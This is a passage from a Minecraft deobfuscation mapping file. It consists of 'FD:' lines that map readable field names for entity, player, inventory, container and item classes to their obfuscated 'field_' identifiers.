net/minecraft/entity/passive/EntityVillager/randomTickDivider net/minecraft/entity/passive/EntityVillager/field_70955_e +FD: net/minecraft/entity/passive/EntityVillager/isMating net/minecraft/entity/passive/EntityVillager/field_70952_f +FD: net/minecraft/entity/passive/EntityVillager/isPlaying net/minecraft/entity/passive/EntityVillager/field_70953_g +FD: net/minecraft/entity/passive/EntityVillager/buyingPlayer net/minecraft/entity/passive/EntityVillager/field_70962_h +FD: net/minecraft/entity/passive/EntityVillager/buyingList net/minecraft/entity/passive/EntityVillager/field_70963_i +FD: net/minecraft/entity/passive/EntityVillager/timeUntilReset net/minecraft/entity/passive/EntityVillager/field_70961_j +FD: net/minecraft/entity/passive/EntityVillager/needsInitilization net/minecraft/entity/passive/EntityVillager/field_70959_by +FD: net/minecraft/entity/passive/EntityVillager/isWillingToMate net/minecraft/entity/passive/EntityVillager/field_175565_bs +FD: net/minecraft/entity/passive/EntityVillager/wealth net/minecraft/entity/passive/EntityVillager/field_70956_bz +FD: net/minecraft/entity/passive/EntityVillager/lastBuyingPlayer net/minecraft/entity/passive/EntityVillager/field_82189_bL +FD: net/minecraft/entity/passive/EntityVillager/careerId net/minecraft/entity/passive/EntityVillager/field_175563_bv +FD: net/minecraft/entity/passive/EntityVillager/careerLevel net/minecraft/entity/passive/EntityVillager/field_175562_bw +FD: net/minecraft/entity/passive/EntityVillager/isLookingForHome net/minecraft/entity/passive/EntityVillager/field_82190_bM +FD: net/minecraft/entity/player/PlayerCapabilities/disableDamage net/minecraft/entity/player/PlayerCapabilities/field_75102_a +FD: net/minecraft/entity/player/PlayerCapabilities/isFlying net/minecraft/entity/player/PlayerCapabilities/field_75100_b +FD: net/minecraft/entity/player/PlayerCapabilities/allowFlying net/minecraft/entity/player/PlayerCapabilities/field_75101_c +FD: net/minecraft/entity/player/PlayerCapabilities/isCreativeMode net/minecraft/entity/player/PlayerCapabilities/field_75098_d +FD: net/minecraft/entity/player/PlayerCapabilities/allowEdit net/minecraft/entity/player/PlayerCapabilities/field_75099_e +FD: net/minecraft/entity/player/PlayerCapabilities/flySpeed net/minecraft/entity/player/PlayerCapabilities/field_75096_f +FD: net/minecraft/entity/player/PlayerCapabilities/walkSpeed net/minecraft/entity/player/PlayerCapabilities/field_75097_g +FD: net/minecraft/entity/player/InventoryPlayer$1/field_96634_a net/minecraft/entity/player/InventoryPlayer$1/field_96634_a +FD: net/minecraft/entity/player/InventoryPlayer$1/field_96633_b net/minecraft/entity/player/InventoryPlayer$1/field_96633_b +FD: net/minecraft/entity/player/InventoryPlayer/mainInventory net/minecraft/entity/player/InventoryPlayer/field_70462_a +FD: net/minecraft/entity/player/InventoryPlayer/armorInventory net/minecraft/entity/player/InventoryPlayer/field_70460_b +FD: net/minecraft/entity/player/InventoryPlayer/currentItem net/minecraft/entity/player/InventoryPlayer/field_70461_c +FD: net/minecraft/entity/player/InventoryPlayer/player net/minecraft/entity/player/InventoryPlayer/field_70458_d +FD: net/minecraft/entity/player/InventoryPlayer/inventoryChanged net/minecraft/entity/player/InventoryPlayer/field_70459_e +FD: net/minecraft/entity/player/InventoryPlayer/itemStack net/minecraft/entity/player/InventoryPlayer/field_70457_g +FD: net/minecraft/entity/player/EntityPlayer$1/field_179420_a net/minecraft/entity/player/EntityPlayer$1/field_179420_a +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/OK net/minecraft/entity/player/EntityPlayer$EnumStatus/OK +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/NOT_POSSIBLE_HERE net/minecraft/entity/player/EntityPlayer$EnumStatus/NOT_POSSIBLE_HERE +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/NOT_POSSIBLE_NOW net/minecraft/entity/player/EntityPlayer$EnumStatus/NOT_POSSIBLE_NOW +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/TOO_FAR_AWAY net/minecraft/entity/player/EntityPlayer$EnumStatus/TOO_FAR_AWAY +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/OTHER_PROBLEM net/minecraft/entity/player/EntityPlayer$EnumStatus/OTHER_PROBLEM +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/NOT_SAFE net/minecraft/entity/player/EntityPlayer$EnumStatus/NOT_SAFE +FD: net/minecraft/entity/player/EntityPlayer$EnumStatus/$VALUES net/minecraft/entity/player/EntityPlayer$EnumStatus/$VALUES +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/FULL net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/FULL +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/SYSTEM net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/SYSTEM +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/HIDDEN net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/HIDDEN +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/ID_LOOKUP net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/field_151432_d +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/chatVisibility net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/field_151433_e +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/resourceKey net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/field_151430_f +FD: net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/$VALUES net/minecraft/entity/player/EntityPlayer$EnumChatVisibility/$VALUES +FD: net/minecraft/entity/player/EntityPlayer/theInventoryEnderChest net/minecraft/entity/player/EntityPlayer/field_71078_a +FD: net/minecraft/entity/player/EntityPlayer/sleepTimer net/minecraft/entity/player/EntityPlayer/field_71076_b +FD: net/minecraft/entity/player/EntityPlayer/capabilities net/minecraft/entity/player/EntityPlayer/field_71075_bZ +FD: net/minecraft/entity/player/EntityPlayer/experienceLevel net/minecraft/entity/player/EntityPlayer/field_71068_ca +FD: net/minecraft/entity/player/EntityPlayer/experienceTotal net/minecraft/entity/player/EntityPlayer/field_71067_cb +FD: net/minecraft/entity/player/EntityPlayer/experience net/minecraft/entity/player/EntityPlayer/field_71106_cc +FD: net/minecraft/entity/player/EntityPlayer/speedOnGround net/minecraft/entity/player/EntityPlayer/field_71108_cd +FD: net/minecraft/entity/player/EntityPlayer/speedInAir net/minecraft/entity/player/EntityPlayer/field_71102_ce +FD: net/minecraft/entity/player/EntityPlayer/fishEntity net/minecraft/entity/player/EntityPlayer/field_71104_cf +FD: net/minecraft/entity/player/EntityPlayer/gameProfile net/minecraft/entity/player/EntityPlayer/field_146106_i +FD: net/minecraft/entity/player/EntityPlayer/hasReducedDebug net/minecraft/entity/player/EntityPlayer/field_175153_bG +FD: net/minecraft/entity/player/EntityPlayer/renderOffsetY net/minecraft/entity/player/EntityPlayer/field_71082_cx +FD: net/minecraft/entity/player/EntityPlayer/inventory net/minecraft/entity/player/EntityPlayer/field_71071_by +FD: net/minecraft/entity/player/EntityPlayer/inventoryContainer net/minecraft/entity/player/EntityPlayer/field_71069_bz +FD: net/minecraft/entity/player/EntityPlayer/openContainer net/minecraft/entity/player/EntityPlayer/field_71070_bA +FD: net/minecraft/entity/player/EntityPlayer/foodStats net/minecraft/entity/player/EntityPlayer/field_71100_bB +FD: net/minecraft/entity/player/EntityPlayer/flyToggleTimer net/minecraft/entity/player/EntityPlayer/field_71101_bC +FD: net/minecraft/entity/player/EntityPlayer/prevCameraYaw net/minecraft/entity/player/EntityPlayer/field_71107_bF +FD: net/minecraft/entity/player/EntityPlayer/cameraYaw net/minecraft/entity/player/EntityPlayer/field_71109_bG +FD: net/minecraft/entity/player/EntityPlayer/xpCooldown net/minecraft/entity/player/EntityPlayer/field_71090_bL +FD: net/minecraft/entity/player/EntityPlayer/prevChasingPosX net/minecraft/entity/player/EntityPlayer/field_71091_bM +FD: net/minecraft/entity/player/EntityPlayer/prevChasingPosY net/minecraft/entity/player/EntityPlayer/field_71096_bN +FD: net/minecraft/entity/player/EntityPlayer/prevChasingPosZ net/minecraft/entity/player/EntityPlayer/field_71097_bO +FD: net/minecraft/entity/player/EntityPlayer/chasingPosX net/minecraft/entity/player/EntityPlayer/field_71094_bP +FD: net/minecraft/entity/player/EntityPlayer/chasingPosY net/minecraft/entity/player/EntityPlayer/field_71095_bQ +FD: net/minecraft/entity/player/EntityPlayer/chasingPosZ net/minecraft/entity/player/EntityPlayer/field_71085_bR +FD: net/minecraft/entity/player/EntityPlayer/sleeping net/minecraft/entity/player/EntityPlayer/field_71083_bS +FD: net/minecraft/entity/player/EntityPlayer/playerLocation net/minecraft/entity/player/EntityPlayer/field_71081_bT +FD: net/minecraft/entity/player/EntityPlayer/renderOffsetX net/minecraft/entity/player/EntityPlayer/field_71079_bU +FD: net/minecraft/entity/player/EntityPlayer/renderOffsetZ net/minecraft/entity/player/EntityPlayer/field_71089_bV +FD: net/minecraft/entity/player/EntityPlayer/spawnChunk net/minecraft/entity/player/EntityPlayer/field_71077_c +FD: net/minecraft/entity/player/EntityPlayer/spawnForced net/minecraft/entity/player/EntityPlayer/field_82248_d +FD: net/minecraft/entity/player/EntityPlayer/startMinecartRidingCoordinate net/minecraft/entity/player/EntityPlayer/field_71073_d +FD: net/minecraft/entity/player/EntityPlayer/xpSeed net/minecraft/entity/player/EntityPlayer/field_175152_f +FD: net/minecraft/entity/player/EntityPlayer/itemInUse net/minecraft/entity/player/EntityPlayer/field_71074_e +FD: net/minecraft/entity/player/EntityPlayer/itemInUseCount net/minecraft/entity/player/EntityPlayer/field_71072_f +FD: net/minecraft/entity/player/EntityPlayer/lastXPSound net/minecraft/entity/player/EntityPlayer/field_82249_h +FD: net/minecraft/entity/player/EnumPlayerModelParts/CAPE net/minecraft/entity/player/EnumPlayerModelParts/CAPE +FD: net/minecraft/entity/player/EnumPlayerModelParts/JACKET net/minecraft/entity/player/EnumPlayerModelParts/JACKET +FD: net/minecraft/entity/player/EnumPlayerModelParts/LEFT_SLEEVE net/minecraft/entity/player/EnumPlayerModelParts/LEFT_SLEEVE +FD: net/minecraft/entity/player/EnumPlayerModelParts/RIGHT_SLEEVE net/minecraft/entity/player/EnumPlayerModelParts/RIGHT_SLEEVE +FD: net/minecraft/entity/player/EnumPlayerModelParts/LEFT_PANTS_LEG net/minecraft/entity/player/EnumPlayerModelParts/LEFT_PANTS_LEG +FD: net/minecraft/entity/player/EnumPlayerModelParts/RIGHT_PANTS_LEG net/minecraft/entity/player/EnumPlayerModelParts/RIGHT_PANTS_LEG +FD: net/minecraft/entity/player/EnumPlayerModelParts/HAT net/minecraft/entity/player/EnumPlayerModelParts/HAT +FD: net/minecraft/entity/player/EnumPlayerModelParts/partId net/minecraft/entity/player/EnumPlayerModelParts/field_179340_h +FD: net/minecraft/entity/player/EnumPlayerModelParts/partMask net/minecraft/entity/player/EnumPlayerModelParts/field_179341_i +FD: net/minecraft/entity/player/EnumPlayerModelParts/partName net/minecraft/entity/player/EnumPlayerModelParts/field_179338_j +FD: net/minecraft/entity/player/EnumPlayerModelParts/field_179339_k net/minecraft/entity/player/EnumPlayerModelParts/field_179339_k +FD: net/minecraft/entity/player/EnumPlayerModelParts/$VALUES net/minecraft/entity/player/EnumPlayerModelParts/$VALUES +FD: net/minecraft/entity/projectile/EntityArrow/canBePickedUp net/minecraft/entity/projectile/EntityArrow/field_70251_a +FD: net/minecraft/entity/projectile/EntityArrow/ticksInGround net/minecraft/entity/projectile/EntityArrow/field_70252_j +FD: net/minecraft/entity/projectile/EntityArrow/ticksInAir net/minecraft/entity/projectile/EntityArrow/field_70257_an +FD: net/minecraft/entity/projectile/EntityArrow/damage net/minecraft/entity/projectile/EntityArrow/field_70255_ao +FD: net/minecraft/entity/projectile/EntityArrow/knockbackStrength net/minecraft/entity/projectile/EntityArrow/field_70256_ap +FD: net/minecraft/entity/projectile/EntityArrow/arrowShake net/minecraft/entity/projectile/EntityArrow/field_70249_b +FD: net/minecraft/entity/projectile/EntityArrow/shootingEntity net/minecraft/entity/projectile/EntityArrow/field_70250_c +FD: net/minecraft/entity/projectile/EntityArrow/xTile net/minecraft/entity/projectile/EntityArrow/field_145791_d +FD: net/minecraft/entity/projectile/EntityArrow/yTile net/minecraft/entity/projectile/EntityArrow/field_145792_e +FD: net/minecraft/entity/projectile/EntityArrow/zTile net/minecraft/entity/projectile/EntityArrow/field_145789_f +FD: net/minecraft/entity/projectile/EntityArrow/inTile net/minecraft/entity/projectile/EntityArrow/field_145790_g +FD: net/minecraft/entity/projectile/EntityArrow/inData net/minecraft/entity/projectile/EntityArrow/field_70253_h +FD: net/minecraft/entity/projectile/EntityArrow/inGround net/minecraft/entity/projectile/EntityArrow/field_70254_i +FD: net/minecraft/entity/item/EntityEnderEye/targetX net/minecraft/entity/item/EntityEnderEye/field_70224_b +FD: net/minecraft/entity/item/EntityEnderEye/targetY net/minecraft/entity/item/EntityEnderEye/field_70225_c +FD: net/minecraft/entity/item/EntityEnderEye/targetZ net/minecraft/entity/item/EntityEnderEye/field_70222_d +FD: net/minecraft/entity/item/EntityEnderEye/despawnTimer net/minecraft/entity/item/EntityEnderEye/field_70223_e +FD: net/minecraft/entity/item/EntityEnderEye/shatterOrDrop net/minecraft/entity/item/EntityEnderEye/field_70221_f +FD: net/minecraft/entity/projectile/EntityFireball/shootingEntity net/minecraft/entity/projectile/EntityFireball/field_70235_a +FD: net/minecraft/entity/projectile/EntityFireball/ticksAlive net/minecraft/entity/projectile/EntityFireball/field_70236_j +FD: net/minecraft/entity/projectile/EntityFireball/ticksInAir net/minecraft/entity/projectile/EntityFireball/field_70234_an +FD: net/minecraft/entity/projectile/EntityFireball/accelerationX net/minecraft/entity/projectile/EntityFireball/field_70232_b +FD: net/minecraft/entity/projectile/EntityFireball/accelerationY net/minecraft/entity/projectile/EntityFireball/field_70233_c +FD: net/minecraft/entity/projectile/EntityFireball/accelerationZ net/minecraft/entity/projectile/EntityFireball/field_70230_d +FD: net/minecraft/entity/projectile/EntityFireball/xTile net/minecraft/entity/projectile/EntityFireball/field_145795_e +FD: net/minecraft/entity/projectile/EntityFireball/yTile net/minecraft/entity/projectile/EntityFireball/field_145793_f +FD: net/minecraft/entity/projectile/EntityFireball/zTile net/minecraft/entity/projectile/EntityFireball/field_145794_g +FD: net/minecraft/entity/projectile/EntityFireball/inTile net/minecraft/entity/projectile/EntityFireball/field_145796_h +FD: net/minecraft/entity/projectile/EntityFireball/inGround net/minecraft/entity/projectile/EntityFireball/field_70238_i +FD: net/minecraft/entity/item/EntityFireworkRocket/fireworkAge net/minecraft/entity/item/EntityFireworkRocket/field_92056_a +FD: net/minecraft/entity/item/EntityFireworkRocket/lifetime net/minecraft/entity/item/EntityFireworkRocket/field_92055_b +FD: net/minecraft/entity/projectile/EntityLargeFireball/explosionPower net/minecraft/entity/projectile/EntityLargeFireball/field_92057_e +FD: net/minecraft/entity/projectile/EntityThrowable/inGround net/minecraft/entity/projectile/EntityThrowable/field_174854_a +FD: net/minecraft/entity/projectile/EntityThrowable/ticksInAir net/minecraft/entity/projectile/EntityThrowable/field_70195_i +FD: net/minecraft/entity/projectile/EntityThrowable/throwableShake net/minecraft/entity/projectile/EntityThrowable/field_70191_b +FD: net/minecraft/entity/projectile/EntityThrowable/xTile net/minecraft/entity/projectile/EntityThrowable/field_145788_c +FD: net/minecraft/entity/projectile/EntityThrowable/yTile net/minecraft/entity/projectile/EntityThrowable/field_145786_d +FD: net/minecraft/entity/projectile/EntityThrowable/zTile net/minecraft/entity/projectile/EntityThrowable/field_145787_e +FD: net/minecraft/entity/projectile/EntityThrowable/inTile net/minecraft/entity/projectile/EntityThrowable/field_174853_f +FD: net/minecraft/entity/projectile/EntityThrowable/thrower net/minecraft/entity/projectile/EntityThrowable/field_70192_c +FD: net/minecraft/entity/projectile/EntityThrowable/throwerName net/minecraft/entity/projectile/EntityThrowable/field_85053_h +FD: net/minecraft/entity/projectile/EntityThrowable/ticksInGround net/minecraft/entity/projectile/EntityThrowable/field_70194_h +FD: net/minecraft/command/CommandDebug/logger net/minecraft/command/CommandDebug/field_147208_a +FD: net/minecraft/command/CommandDebug/profileStartTime net/minecraft/command/CommandDebug/field_147206_b +FD: net/minecraft/command/CommandDebug/profileStartTick net/minecraft/command/CommandDebug/field_147207_c +FD: net/minecraft/entity/item/EntityEnderPearl/field_181555_c net/minecraft/entity/item/EntityEnderPearl/field_181555_c +FD: net/minecraft/entity/projectile/EntityPotion/potionDamage net/minecraft/entity/projectile/EntityPotion/field_70197_d +FD: net/minecraft/util/FoodStats/foodLevel net/minecraft/util/FoodStats/field_75127_a +FD: net/minecraft/util/FoodStats/foodSaturationLevel net/minecraft/util/FoodStats/field_75125_b +FD: net/minecraft/util/FoodStats/foodExhaustionLevel net/minecraft/util/FoodStats/field_75126_c +FD: net/minecraft/util/FoodStats/foodTimer net/minecraft/util/FoodStats/field_75123_d +FD: net/minecraft/util/FoodStats/prevFoodLevel net/minecraft/util/FoodStats/field_75124_e +FD: net/minecraft/inventory/Container/transactionID net/minecraft/inventory/Container/field_75150_e +FD: net/minecraft/inventory/Container/inventoryItemStacks net/minecraft/inventory/Container/field_75153_a +FD: net/minecraft/inventory/Container/inventorySlots net/minecraft/inventory/Container/field_75151_b +FD: net/minecraft/inventory/Container/windowId net/minecraft/inventory/Container/field_75152_c +FD: net/minecraft/inventory/Container/crafters net/minecraft/inventory/Container/field_75149_d +FD: net/minecraft/inventory/Container/dragMode net/minecraft/inventory/Container/field_94535_f +FD: net/minecraft/inventory/Container/dragEvent net/minecraft/inventory/Container/field_94536_g +FD: net/minecraft/inventory/Container/dragSlots net/minecraft/inventory/Container/field_94537_h +FD: net/minecraft/inventory/Container/playerList net/minecraft/inventory/Container/field_75148_f +FD: net/minecraft/inventory/ContainerRepair$1/field_135010_a net/minecraft/inventory/ContainerRepair$1/field_135010_a +FD: net/minecraft/inventory/ContainerRepair$2/field_135071_a net/minecraft/inventory/ContainerRepair$2/field_135071_a +FD: net/minecraft/inventory/ContainerRepair$2/field_178174_b net/minecraft/inventory/ContainerRepair$2/field_178174_b +FD: net/minecraft/inventory/ContainerRepair$2/field_135068_e net/minecraft/inventory/ContainerRepair$2/field_135068_e +FD: net/minecraft/inventory/ContainerRepair/maximumCost net/minecraft/inventory/ContainerRepair/field_82854_e +FD: net/minecraft/inventory/ContainerRepair/logger net/minecraft/inventory/ContainerRepair/field_148326_f +FD: net/minecraft/inventory/ContainerRepair/outputSlot net/minecraft/inventory/ContainerRepair/field_82852_f +FD: net/minecraft/inventory/ContainerRepair/inputSlots net/minecraft/inventory/ContainerRepair/field_82853_g +FD: net/minecraft/inventory/ContainerRepair/theWorld net/minecraft/inventory/ContainerRepair/field_82860_h +FD: net/minecraft/inventory/ContainerRepair/selfPosition net/minecraft/inventory/ContainerRepair/field_178156_j +FD: net/minecraft/inventory/ContainerRepair/materialCost net/minecraft/inventory/ContainerRepair/field_82856_l +FD: net/minecraft/inventory/ContainerRepair/repairedItemName net/minecraft/inventory/ContainerRepair/field_82857_m +FD: net/minecraft/inventory/ContainerRepair/thePlayer net/minecraft/inventory/ContainerRepair/field_82855_n +FD: net/minecraft/inventory/ContainerBeacon$BeaconSlot/field_82876_a net/minecraft/inventory/ContainerBeacon$BeaconSlot/field_82876_a +FD: net/minecraft/inventory/ContainerBeacon/tileBeacon net/minecraft/inventory/ContainerBeacon/field_82866_e +FD: net/minecraft/inventory/ContainerBeacon/beaconSlot net/minecraft/inventory/ContainerBeacon/field_82864_f +FD: net/minecraft/inventory/ContainerBrewingStand$Ingredient/field_75226_a net/minecraft/inventory/ContainerBrewingStand$Ingredient/field_75226_a +FD: net/minecraft/inventory/ContainerBrewingStand$Potion/player net/minecraft/inventory/ContainerBrewingStand$Potion/field_75244_a +FD: net/minecraft/inventory/ContainerBrewingStand/tileBrewingStand net/minecraft/inventory/ContainerBrewingStand/field_75188_e +FD: net/minecraft/inventory/ContainerBrewingStand/theSlot net/minecraft/inventory/ContainerBrewingStand/field_75186_f +FD: net/minecraft/inventory/ContainerBrewingStand/brewTime net/minecraft/inventory/ContainerBrewingStand/field_75187_g +FD: net/minecraft/inventory/ContainerChest/lowerChestInventory net/minecraft/inventory/ContainerChest/field_75155_e +FD: net/minecraft/inventory/ContainerChest/numRows net/minecraft/inventory/ContainerChest/field_75154_f +FD: net/minecraft/inventory/InventoryCrafting/stackList net/minecraft/inventory/InventoryCrafting/field_70466_a +FD: net/minecraft/inventory/InventoryCrafting/inventoryWidth net/minecraft/inventory/InventoryCrafting/field_70464_b +FD: net/minecraft/inventory/InventoryCrafting/inventoryHeight net/minecraft/inventory/InventoryCrafting/field_174924_c +FD: net/minecraft/inventory/InventoryCrafting/eventHandler net/minecraft/inventory/InventoryCrafting/field_70465_c +FD: net/minecraft/inventory/ContainerWorkbench/craftMatrix net/minecraft/inventory/ContainerWorkbench/field_75162_e +FD: net/minecraft/inventory/ContainerWorkbench/craftResult net/minecraft/inventory/ContainerWorkbench/field_75160_f +FD: net/minecraft/inventory/ContainerWorkbench/worldObj net/minecraft/inventory/ContainerWorkbench/field_75161_g +FD: net/minecraft/inventory/ContainerWorkbench/pos net/minecraft/inventory/ContainerWorkbench/field_178145_h +FD: net/minecraft/inventory/ContainerDispenser/dispenserInventory net/minecraft/inventory/ContainerDispenser/field_178146_a +FD: net/minecraft/inventory/ContainerEnchantment$1/field_70484_a net/minecraft/inventory/ContainerEnchantment$1/field_70484_a +FD: net/minecraft/inventory/ContainerEnchantment$2/field_75227_a net/minecraft/inventory/ContainerEnchantment$2/field_75227_a +FD: net/minecraft/inventory/ContainerEnchantment$3/field_178172_a net/minecraft/inventory/ContainerEnchantment$3/field_178172_a +FD: net/minecraft/inventory/ContainerEnchantment/tableInventory net/minecraft/inventory/ContainerEnchantment/field_75168_e +FD: net/minecraft/inventory/ContainerEnchantment/xpSeed net/minecraft/inventory/ContainerEnchantment/field_178149_f +FD: net/minecraft/inventory/ContainerEnchantment/enchantLevels net/minecraft/inventory/ContainerEnchantment/field_75167_g +FD: net/minecraft/inventory/ContainerEnchantment/enchantmentIds net/minecraft/inventory/ContainerEnchantment/field_178151_h +FD: net/minecraft/inventory/ContainerEnchantment/worldPointer net/minecraft/inventory/ContainerEnchantment/field_75172_h +FD: net/minecraft/inventory/ContainerEnchantment/position net/minecraft/inventory/ContainerEnchantment/field_178150_j +FD: net/minecraft/inventory/ContainerEnchantment/rand net/minecraft/inventory/ContainerEnchantment/field_75169_l +FD: net/minecraft/inventory/ContainerFurnace/tileFurnace net/minecraft/inventory/ContainerFurnace/field_75158_e +FD: net/minecraft/inventory/ContainerFurnace/cookTime net/minecraft/inventory/ContainerFurnace/field_178152_f +FD: net/minecraft/inventory/ContainerFurnace/totalCookTime net/minecraft/inventory/ContainerFurnace/field_178153_g +FD: net/minecraft/inventory/ContainerFurnace/furnaceBurnTime net/minecraft/inventory/ContainerFurnace/field_178154_h +FD: net/minecraft/inventory/ContainerFurnace/currentItemBurnTime net/minecraft/inventory/ContainerFurnace/field_178155_i +FD: net/minecraft/inventory/SlotFurnaceOutput/thePlayer net/minecraft/inventory/SlotFurnaceOutput/field_75229_a +FD: net/minecraft/inventory/SlotFurnaceOutput/field_75228_b net/minecraft/inventory/SlotFurnaceOutput/field_75228_b +FD: net/minecraft/inventory/ContainerHopper/hopperInventory net/minecraft/inventory/ContainerHopper/field_94538_a +FD: net/minecraft/inventory/ContainerHorseInventory$1/field_111239_a net/minecraft/inventory/ContainerHorseInventory$1/field_111239_a +FD: net/minecraft/inventory/ContainerHorseInventory$2/field_111241_a net/minecraft/inventory/ContainerHorseInventory$2/field_111241_a +FD: net/minecraft/inventory/ContainerHorseInventory$2/field_111240_b net/minecraft/inventory/ContainerHorseInventory$2/field_111240_b +FD: net/minecraft/inventory/ContainerHorseInventory/horseInventory net/minecraft/inventory/ContainerHorseInventory/field_111243_a +FD: net/minecraft/inventory/ContainerHorseInventory/theHorse net/minecraft/inventory/ContainerHorseInventory/field_111242_f +FD: net/minecraft/inventory/ContainerPlayer$1/field_75236_a net/minecraft/inventory/ContainerPlayer$1/field_75236_a +FD: net/minecraft/inventory/ContainerPlayer$1/field_75235_b net/minecraft/inventory/ContainerPlayer$1/field_75235_b +FD: net/minecraft/inventory/ContainerPlayer/craftMatrix net/minecraft/inventory/ContainerPlayer/field_75181_e +FD: net/minecraft/inventory/ContainerPlayer/craftResult net/minecraft/inventory/ContainerPlayer/field_75179_f +FD: net/minecraft/inventory/ContainerPlayer/isLocalWorld net/minecraft/inventory/ContainerPlayer/field_75180_g +FD: net/minecraft/inventory/ContainerPlayer/thePlayer net/minecraft/inventory/ContainerPlayer/field_82862_h +FD: net/minecraft/inventory/InventoryMerchant/theMerchant net/minecraft/inventory/InventoryMerchant/field_70476_a +FD: net/minecraft/inventory/InventoryMerchant/theInventory net/minecraft/inventory/InventoryMerchant/field_70474_b +FD: net/minecraft/inventory/InventoryMerchant/thePlayer net/minecraft/inventory/InventoryMerchant/field_70475_c +FD: net/minecraft/inventory/InventoryMerchant/currentRecipe net/minecraft/inventory/InventoryMerchant/field_70472_d +FD: net/minecraft/inventory/InventoryMerchant/currentRecipeIndex net/minecraft/inventory/InventoryMerchant/field_70473_e +FD: net/minecraft/inventory/ContainerMerchant/theMerchant net/minecraft/inventory/ContainerMerchant/field_75178_e +FD: net/minecraft/inventory/ContainerMerchant/merchantInventory net/minecraft/inventory/ContainerMerchant/field_75176_f +FD: net/minecraft/inventory/ContainerMerchant/theWorld net/minecraft/inventory/ContainerMerchant/field_75177_g +FD: net/minecraft/inventory/SlotMerchantResult/theMerchantInventory net/minecraft/inventory/SlotMerchantResult/field_75233_a +FD: net/minecraft/inventory/SlotMerchantResult/thePlayer net/minecraft/inventory/SlotMerchantResult/field_75232_b +FD: net/minecraft/inventory/SlotMerchantResult/field_75231_g net/minecraft/inventory/SlotMerchantResult/field_75231_g +FD: net/minecraft/inventory/SlotMerchantResult/theMerchant net/minecraft/inventory/SlotMerchantResult/field_75234_h +FD: net/minecraft/inventory/InventoryEnderChest/associatedChest net/minecraft/inventory/InventoryEnderChest/field_70488_a +FD: net/minecraft/inventory/InventoryCraftResult/stackResult net/minecraft/inventory/InventoryCraftResult/field_70467_a +FD: net/minecraft/inventory/SlotCrafting/craftMatrix net/minecraft/inventory/SlotCrafting/field_75239_a +FD: net/minecraft/inventory/SlotCrafting/thePlayer net/minecraft/inventory/SlotCrafting/field_75238_b +FD: net/minecraft/inventory/SlotCrafting/amountCrafted net/minecraft/inventory/SlotCrafting/field_75237_g +FD: net/minecraft/inventory/Slot/slotIndex net/minecraft/inventory/Slot/field_75225_a +FD: net/minecraft/inventory/Slot/inventory net/minecraft/inventory/Slot/field_75224_c +FD: net/minecraft/inventory/Slot/slotNumber net/minecraft/inventory/Slot/field_75222_d +FD: net/minecraft/inventory/Slot/xDisplayPosition net/minecraft/inventory/Slot/field_75223_e +FD: net/minecraft/inventory/Slot/yDisplayPosition net/minecraft/inventory/Slot/field_75221_f +FD: net/minecraft/item/ItemArmor$ArmorMaterial/LEATHER net/minecraft/item/ItemArmor$ArmorMaterial/LEATHER +FD: net/minecraft/item/ItemArmor$ArmorMaterial/CHAIN net/minecraft/item/ItemArmor$ArmorMaterial/CHAIN +FD: net/minecraft/item/ItemArmor$ArmorMaterial/IRON net/minecraft/item/ItemArmor$ArmorMaterial/IRON +FD: net/minecraft/item/ItemArmor$ArmorMaterial/GOLD net/minecraft/item/ItemArmor$ArmorMaterial/GOLD +FD: net/minecraft/item/ItemArmor$ArmorMaterial/DIAMOND net/minecraft/item/ItemArmor$ArmorMaterial/DIAMOND +FD: net/minecraft/item/ItemArmor$ArmorMaterial/name net/minecraft/item/ItemArmor$ArmorMaterial/field_179243_f +FD: net/minecraft/item/ItemArmor$ArmorMaterial/maxDamageFactor net/minecraft/item/ItemArmor$ArmorMaterial/field_78048_f +FD: net/minecraft/item/ItemArmor$ArmorMaterial/damageReductionAmountArray net/minecraft/item/ItemArmor$ArmorMaterial/field_78049_g +FD: net/minecraft/item/ItemArmor$ArmorMaterial/enchantability net/minecraft/item/ItemArmor$ArmorMaterial/field_78055_h +FD: net/minecraft/item/ItemArmor$ArmorMaterial/$VALUES net/minecraft/item/ItemArmor$ArmorMaterial/$VALUES +FD: net/minecraft/item/ItemArmor/EMPTY_SLOT_NAMES net/minecraft/item/ItemArmor/field_94603_a +FD: net/minecraft/item/ItemArmor/armorType net/minecraft/item/ItemArmor/field_77881_a +FD: net/minecraft/item/ItemArmor/damageReduceAmount net/minecraft/item/ItemArmor/field_77879_b +FD: net/minecraft/item/ItemArmor/renderIndex net/minecraft/item/ItemArmor/field_77880_c +FD: net/minecraft/item/ItemArmor/maxDamageArray net/minecraft/item/ItemArmor/field_77882_bY +FD: net/minecraft/item/ItemArmor/dispenserBehavior net/minecraft/item/ItemArmor/field_96605_cw +FD: net/minecraft/item/ItemArmor/material net/minecraft/item/ItemArmor/field_77878_bZ +FD: net/minecraft/item/ItemAxe/EFFECTIVE_ON net/minecraft/item/ItemAxe/field_150917_c +FD: net/minecraft/item/ItemBlock/block net/minecraft/item/ItemBlock/field_150939_a +FD: net/minecraft/item/ItemReed/block net/minecraft/item/ItemReed/field_150935_a +FD: net/minecraft/item/ItemBow/bowPullIconNameArray net/minecraft/item/ItemBow/field_94601_a +FD: net/minecraft/item/ItemBucket/isFull net/minecraft/item/ItemBucket/field_77876_a +FD: net/minecraft/creativetab/CreativeTabs/creativeTabArray net/minecraft/creativetab/CreativeTabs/field_78032_a +FD: net/minecraft/creativetab/CreativeTabs/tabBlock net/minecraft/creativetab/CreativeTabs/field_78030_b +FD: net/minecraft/creativetab/CreativeTabs/tabDecorations net/minecraft/creativetab/CreativeTabs/field_78031_c +FD: 